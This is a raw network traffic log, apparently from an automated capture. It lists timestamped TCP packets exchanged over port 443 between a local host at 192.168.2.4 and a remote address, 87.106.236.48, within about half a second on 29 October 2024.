Oct 29, 2024 04:17:34.923949003 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.923996925 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.924007893 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.924034119 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.924050093 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.935651064 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.935672998 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.935797930 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.935812950 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.935858965 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.949596882 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.949615955 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.949673891 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.949687004 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.949807882 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.950193882 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.950212955 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.950253963 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.950264931 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.950292110 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.950315952 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.950597048 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.950617075 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.950712919 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.950726032 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.950777054 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.000755072 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.000781059 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.000818014 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.000833035 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.000860929 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.000880003 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.001272917 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.001297951 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.001332998 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.001349926 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.001378059 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.001462936 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.038897038 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.038923979 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.038983107 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.039021969 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.039052963 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.039103031 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.039305925 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.039339066 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.039371967 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.039386034 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.039412022 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.039436102 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.044363022 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.044384003 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.044435024 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.044476032 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.044509888 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.044553041 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.044739008 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.044758081 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.044790983 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.044804096 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.044838905 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.044838905 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.045155048 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.045172930 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.045205116 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.045217037 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.045244932 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.045285940 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.045481920 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.045500040 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.045531034 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.045542002 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.045567989 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.045836926 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.045838118 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.045852900 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.045876026 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.045882940 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.045895100 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.045923948 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.045943022 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.053356886 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.053376913 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.053419113 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.053430080 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.053447962 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.053467989 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.067240953 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.067260027 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.067293882 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.067306995 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.067338943 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.067352057 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.067522049 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.067543030 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.067569017 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.067575932 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.067598104 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.067614079 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.067905903 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.067928076 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.067951918 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.067960024 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.067979097 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.067987919 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.118860960 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.118885040 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.118921995 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.118937016 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.118957043 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.118971109 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.119297028 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.119324923 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.119340897 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.119345903 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.119368076 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.119386911 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.187382936 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.187411070 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.187450886 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.187469006 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.187495947 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.187511921 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.187671900 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.187690973 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.187719107 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.187726021 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.187757969 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.187772989 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.188025951 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.188043118 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.188071012 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.188076973 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.188098907 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.188117027 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.188407898 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.188435078 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.188472986 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.188477993 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.188500881 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.188517094 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.188858032 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.188877106 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.188911915 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.188918114 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.188941002 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.189028025 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.189111948 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.189129114 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.189157009 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.189162970 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.189196110 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.189218044 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.189563036 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.189580917 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.189610958 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.189616919 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.189639091 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.189656019 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.189858913 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.189877033 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.189912081 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.189918041 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.189943075 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.189954996 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.190237045 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.190256119 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.190289021 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.190294981 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.190320969 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.190336943 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.190668106 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.190685987 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.190713882 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.190718889 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.190742970 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.190759897 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.190989017 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.191005945 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.191035032 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.191040039 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.191063881 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.191081047 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.191493034 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.191510916 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.191550970 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.191556931 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.191581011 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.191593885 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.235697031 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.235735893 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.235764027 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.235785007 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.235805988 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.235821962 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.236196041 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.236213923 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.236258030 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.236265898 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.236285925 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.236303091 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.273874998 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.273907900 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.273967028 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.273979902 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.274008989 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.274024963 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.277168036 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.277189016 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.277232885 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.277241945 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.277268887 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.277285099 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.277694941 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.277712107 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.277746916 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.277754068 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.277779102 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.277796984 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.278347015 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.278367043 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.278405905 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.278410912 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.278450012 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.278461933 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.278944969 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.278974056 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.279006958 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.279016018 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.279037952 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.279058933 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.279455900 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.279476881 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.279516935 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.279521942 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.279548883 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.279561043 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.279906034 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.279926062 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.279975891 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.279980898 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.280010939 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.280019045 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.280236006 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.280253887 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.280292988 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.280298948 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.280320883 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.280342102 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.304511070 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.304543018 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.304591894 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.304658890 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.304702044 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.304702044 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.305011034 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.305030107 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.305088043 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.305102110 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.305130005 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.305186987 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.305706978 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.305727005 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.305771112 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.305780888 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.305807114 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.305824041 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.305977106 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.305994987 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.306034088 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.306045055 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.306071043 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.306282043 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.352835894 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.352854967 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.352996111 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.352997065 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.353027105 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.353074074 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.353423119 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.353441000 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.353480101 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.353487015 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.353509903 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.353524923 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.354295969 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.354347944 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.354370117 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.354382992 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.354424000 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.354443073 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.394592047 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.394618988 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.394678116 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.394696951 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.394743919 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.394778967 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.394783020 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.394783020 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.394839048 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.394854069 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.394994974 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.395494938 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.395519018 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.395574093 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.395586967 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.395616055 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.395638943 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.395822048 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.395847082 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.395880938 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.395893097 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.395917892 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.396017075 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.396517992 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.396543980 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.396589994 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.396601915 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.396625996 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.396646976 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.397063971 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.397084951 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.397130966 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.397142887 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.397159100 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.397288084 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.397653103 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.397686005 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.397718906 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.397731066 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.397754908 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.397792101 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.397914886 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.397936106 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.397977114 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.397988081 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.398014069 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.398032904 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:35.422106981 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:35.422141075 CET	443	49761	87.106.236.48	192.168.2.4
